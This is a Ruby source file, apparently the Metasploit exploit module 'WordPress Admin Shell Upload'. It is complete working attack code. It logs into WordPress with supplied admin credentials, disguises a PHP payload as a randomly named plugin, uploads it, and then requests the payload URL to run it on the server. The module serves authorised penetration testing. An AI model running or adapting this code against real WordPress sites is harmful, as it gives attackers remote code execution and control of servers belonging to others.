92 lines
3.0 KiB
Ruby
92 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http://www.metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex/zip'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FileDropper
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include Msf::Exploit::Remote::HTTP::Wordpress
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'WordPress Admin Shell Upload',
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'Description' => %q{
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This module will generate a plugin, pack the payload into it
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and upload it to a server running WordPress providing valid
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admin credentials are used.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Rob Carr <rob[at]rastating.com>' # Metasploit module
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],
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'DisclosureDate' => 'Feb 21 2015',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['WordPress', {}]],
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
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OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
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], self.class)
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end
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def username
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datastore['USERNAME']
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end
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def password
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datastore['PASSWORD']
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end
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def generate_plugin(plugin_name, payload_name)
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plugin_script = %Q{<?php
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/**
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* Plugin Name: #{plugin_name}
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* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
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* Author: #{Rex::Text.rand_text_alpha(10)}
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* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
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* License: GPL2
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*/
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?>}
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zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
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zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
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zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
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zip
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end
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def exploit
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fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
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print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
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cookie = wordpress_login(username, password)
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fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
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print_good("#{peer} - Authenticated with WordPress")
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print_status("#{peer} - Preparing payload...")
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plugin_name = Rex::Text.rand_text_alpha(10)
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payload_name = "#{Rex::Text.rand_text_alpha(10)}"
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payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
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zip = generate_plugin(plugin_name, payload_name)
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print_status("#{peer} - Uploading payload...")
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uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
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fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
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print_status("#{peer} - Executing the payload at #{payload_uri}...")
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register_files_for_cleanup("#{payload_name}.php")
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register_files_for_cleanup("#{plugin_name}.php")
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send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
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end
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end
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